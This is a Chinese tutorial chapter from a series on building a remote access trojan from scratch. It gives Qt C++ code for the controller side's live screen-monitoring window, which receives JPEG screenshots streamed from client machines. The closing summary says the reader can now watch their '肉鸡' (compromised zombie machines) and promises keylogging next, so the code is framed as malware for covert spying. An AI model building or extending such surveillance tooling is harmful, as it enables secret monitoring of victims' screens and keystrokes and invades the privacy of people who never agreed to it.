如果你从没看过这系列教程请点击:从零开始做远控 简介篇
这一节我们是完成屏幕监控的最后一部分,就是在服务端里发送指令,然后从客户端不断获取屏幕截图数据,画到窗口上,形成实时监控。
晒下效果图:
1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。
2.启动新的服务端,专门监控屏幕.
3.定义数据包头,可以从上一节复制过来。
// 数据头
typedef struct {
unsigned int len; // jpg文件大小
} ScreenSpyHeader;
4.屏幕截图数据读取和打印在窗口上
void ScreenSpy::processBuffer()
{
QByteArray *buf = mSock->buffer();
while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
// 读取头
if (mScreenLen == 0) {
if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
ScreenSpyHeader header;
memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
buf->remove(0, sizeof(ScreenSpyHeader));
// 设置图片数据
mScreenLen = header.len;
} else {
break;
}
}
// 读取JPG图片
if (mScreenLen > 0){
if ((unsigned int)buf->size() >= mScreenLen) {
// 保存新图片
mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);
// 显示图片
mScreenLabel->setPixmap(mScreenPixmap);
// 擦除数据
buf->remove(0, mScreenLen);
mScreenLen = 0;
} else {
break;
}
}
}
}
代码
ScreenSpy.h
/*
* Author: sumkee911@gmail.com
* Date: 2016-12-21
* Brief: 从客户端接收屏幕图片数据,然后画在窗口上
*
*/
#ifndef SCREENSPY_H
#define SCREENSPY_H
#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>
class ScreenSpy : public QWidget
{
Q_OBJECT
public:
explicit ScreenSpy( QWidget *parent = 0);
// 数据头
typedef struct {
unsigned int len; // jpg文件大小
} ScreenSpyHeader;
// 开始监控服务器,然后返回新的端口号
int startScreenSpyServer(QString userName);
private:
QLabel *mScreenLabel; // 用来显示图片
TcpServer *mServer; // 屏幕监控服务端
TcpSocket *mSock; // 屏幕监控客户端
QPixmap mScreenPixmap; // 当前屏幕截图
unsigned int mScreenLen; // JPG图片大小
signals:
public slots:
// 有新客户连接
void newConnection(QTcpSocket *s);
// 处理新数据
void processBuffer();
protected:
// 大小重置
void resizeEvent(QResizeEvent *);
// 关闭
void closeEvent(QCloseEvent *);
};
#endif // SCREENSPY_H
ScreenSpy.cpp
#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :
QWidget(parent), mScreenLen(0)
{
// 初始化窗口
const int w = 800, h = 450;
const int x = (QApplication::desktop()->width() - w) >> 1;
const int y = (QApplication::desktop()->height() - h) >> 1;
this->setGeometry(x, y, w, h);
// 图片label
mScreenLabel = new QLabel(this);
mScreenLabel->setGeometry(0,0, w, h);
mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{
// 设置窗口标题
this->setWindowTitle(userName.append("-屏幕监控"));
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启屏幕监控服务端失败";
deleteLater();
return -1;
}
// 开启监控窗口
this->show();
return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{
// 新增客户
mSock = new TcpSocket(s, this);
connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
// 不再监听新客户
mServer->server()->close();
}
void ScreenSpy::processBuffer()
{
QByteArray *buf = mSock->buffer();
while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
// 读取头
if (mScreenLen == 0) {
if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
ScreenSpyHeader header;
memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
buf->remove(0, sizeof(ScreenSpyHeader));
// 设置图片数据
mScreenLen = header.len;
} else {
break;
}
}
// 读取JPG图片
if (mScreenLen > 0){
if ((unsigned int)buf->size() >= mScreenLen) {
// 保存新图片
mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);
// 显示图片
mScreenLabel->setPixmap(mScreenPixmap);
// 擦除数据
buf->remove(0, mScreenLen);
mScreenLen = 0;
} else {
break;
}
}
}
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{
// 重设mScreenLabel大小
mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{
// 删除窗口
deleteLater();
}
void ZeroClient::sendScreenSpy(int port)
{
QString data;
data.append(CmdScreenSpy+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
7.修改Widget类里的screenSpyClicked()。
void Widget::screenSpyClicked()
{
int id = currentClientIdFromTable();
if (id != -1) {
ScreenSpy *ss = new ScreenSpy();
ZeroClient *client = mZeroServer->client(id);
int port = ss->startScreenSpyServer(QString::number(id));
// 开始监控
client->sendScreenSpy(port);
}
}
本节总结:
我们已经完成了屏幕监控了,现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。
本节完整代码:
对上节作出的修改:
1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。
2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。
下载完整代码